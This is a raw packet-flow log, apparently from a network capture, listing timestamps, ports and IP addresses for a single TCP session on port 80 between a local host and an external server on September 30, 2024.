Sep 30, 2024 13:59:30.346291065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346302986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346352100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346362114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346379995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346379995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346390009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346390963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346400976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346410990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346421957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346437931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346437931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346487045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346607924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346621037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346632004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346642017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346677065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346677065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346715927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346792936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346803904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346813917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346834898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346842051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346842051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346846104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.346858978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346858978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.346878052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347351074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347399950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347456932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347467899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347477913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347487926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347496986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347507954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347511053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347552061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347552061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347603083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347618103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347631931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347645998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347651005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347652912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347662926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347671986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347681999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347688913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347688913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347692966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347702980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347714901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347717047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347726107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347737074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347753048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347753048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347801924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347839117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347847939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347901106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347901106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347929955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347939014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.347982883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.347982883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348000050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348012924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348033905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348043919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348043919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348050117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348053932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348064899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348079920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348082066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348082066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348093987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348104954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348133087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348133087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348161936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348169088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348180056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348196983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348207951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348222017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348222017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348262072 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348409891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348419905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348434925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348447084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348448038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348457098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348467112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348478079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348478079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348520041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348520041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348520041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348530054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348540068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348550081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348560095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348578930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348587990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348587990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348591089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348601103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348611116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348628998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348628998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348640919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348653078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348663092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348678112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348681927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348681927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348691940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348718882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348736048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348756075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348767042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348776102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.348813057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.348813057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349035978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349078894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349092007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349092007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349124908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349124908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349230051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349241972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349251986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349262953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.349277973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349313021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.349313021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.351768970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351782084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351788998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351828098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.351836920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351846933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351857901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351875067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.351881027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.351912022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.351967096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351978064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351988077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.351998091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352005005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352008104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352019072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352024078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352049112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352063894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352221966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352235079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352243900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352255106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352264881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352266073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352272987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352277040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352287054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352315903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352329969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352359056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352370977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352397919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352473021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352485895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352495909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352505922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.352505922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352518082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352528095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.352549076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.355858088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437247038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437263966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437285900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437297106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437309027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437314987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437325954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437336922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437376976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437491894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437503099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437514067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437525034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437536001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437556982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437592030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437621117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437634945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437647104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437657118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437663078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437678099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437714100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437733889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437745094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437755108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437772036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437782049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437783003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437792063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437803030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437809944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437810898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.437824011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.437843084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438240051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438250065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438268900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438281059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438291073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438292980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438309908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438323021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438324928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438333035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438343048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438345909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438354015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438389063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438401937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438410997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438421965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438431978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438442945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438452005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438462019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438462973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438483953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438498020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438512087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438514948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438534975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438570023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438591003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438601017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438611984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438622952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438632965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438636065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438662052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438682079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.438956022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438965082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.438985109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439004898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439006090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439017057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439027071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439028025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439038038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439048052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439062119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439084053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439094067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439105988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439116001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439126968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439146042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439152956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439172029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439182997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439193964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439203024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439212084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439228058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439256907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439313889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439325094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439335108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439347029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439356089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439357996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439367056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439377069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439398050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439403057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439403057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439419031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439419031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439429998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439443111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439462900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439481020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439506054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439507008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439517021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439527035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439532995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439538956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439552069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439580917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439637899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439650059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439660072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439671993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439678907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439694881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439722061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439802885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439817905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439827919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439836979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.439846992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439861059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.439888954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.440015078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440026999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440032005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440037012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440049887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440068007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440077066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.440078974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440088034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.440104961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.440120935 CEST	49721	80	192.168.2.6	5.42.101.62
